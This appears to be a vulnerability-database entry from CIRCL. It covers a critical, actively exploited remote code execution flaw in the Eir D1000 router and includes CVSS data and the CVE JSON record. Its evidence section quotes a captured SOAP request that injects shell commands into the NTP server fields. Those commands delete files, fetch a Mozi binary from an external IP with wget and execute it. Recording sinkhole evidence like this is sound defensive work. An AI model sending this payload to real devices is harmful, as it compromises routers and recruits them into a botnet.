GCVE-1-2026-0020

Vulnerability from gna-1 – Published: 2026-03-11 14:12 – Updated: 2026-03-11 14:23
VLAI? CIRCL
Title
Remote Code Execution Attack Against Eircom D1000 Router
Summary
Improper Input Validation vulnerability in Eir D1000 allows Input Data Manipulation.This issue affects D1000: through  2.00(AADU.5)_20150909
Severity ?
10 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H
CWE
  • CWE-20 - Improper Input Validation
Assigner
References
Impacted products
Vendor Product Version
Eir D1000 Affected: 0 , ≤ 2.00 (custom)
Create a notification for this product.
Date Public ?
2016-12-09 23:00
CIRCL
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: 523ca818-9868-4f11-832b-baf2fbd9d76c

Vulnerability ID: GCVE-1-2026-0020

Status: Confirmed

Status Updated: 2026-03-23 06:37 UTC

Exploited: Yes

Characteristics
Remote Code Execution: Yes
Authentication Required: No
Local Access Required: Remote
Severity: 100.0
Timestamps
First Seen: 2026-01-14
Asserted: 2026-03-11
Last Seen: 2026-03-11
Evidence

Type: Sinkhole

Signal: In The Wild Attempts

Confidence: 100%

Source: cti-feed.circl.lu

Details
Note POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7574 User-Agent: Hello, world SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 640 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;> <NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://180.243.4.71:51387/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064` </NewNTPServer1><NewNTPServer2>`echo DEATH` </NewNTPServer2><NewNTPServer3>`echo DEATH` </NewNTPServer3><NewNTPServer4>`echo DEATH` </NewNTPServer4><NewNTPServer5>`echo DEATH` </NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Created: 2026-03-11 14:14 UTC | Updated: 2026-03-23 06:37 UTC
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "D1000",
          "vendor": "Eir",
          "versions": [
            {
              "lessThanOrEqual": "2.00",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "datePublic": "2016-12-09T23:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Improper Input Validation vulnerability in Eir D1000 allows Input Data Manipulation.\u003cp\u003eThis issue affects D1000: through\u0026nbsp; 2.00(AADU.5)_20150909\u003c/p\u003e"
            }
          ],
          "value": "Improper Input Validation vulnerability in Eir D1000 allows Input Data Manipulation.This issue affects D1000: through\u00a0 2.00(AADU.5)_20150909"
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-153",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-153 Input Data Manipulation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20 Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "orgId": "00000000-0000-4000-9000-000000000000"
      },
      "references": [
        {
          "tags": [
            "media-coverage"
          ],
          "url": "https://threatprotect.qualys.com/2016/12/14/remote-code-execution-attack-against-eircom-d1000-router/"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Remote Code Execution Attack Against Eircom D1000 Router",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "00000000-0000-4000-9000-000000000000",
    "datePublished": "2026-03-11T14:12:00.000Z",
    "dateUpdated": "2026-03-11T14:23:24.609831Z",
    "requesterUserId": "00000000-0000-4000-9000-000000000000",
    "serial": 1,
    "state": "PUBLISHED",
    "vulnId": "GCVE-1-2026-0020",
    "vulnerabilitylookup_history": [
      [
        "alexandre.dulaunoy@circl.lu",
        "2026-03-11T14:12:30.597173Z"
      ],
      [
        "alexandre.dulaunoy@circl.lu",
        "2026-03-11T14:21:34.097103Z"
      ],
      [
        "cedric.bonhomme@circl.lu",
        "2026-03-11T14:23:24.609831Z"
      ]
    ]
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.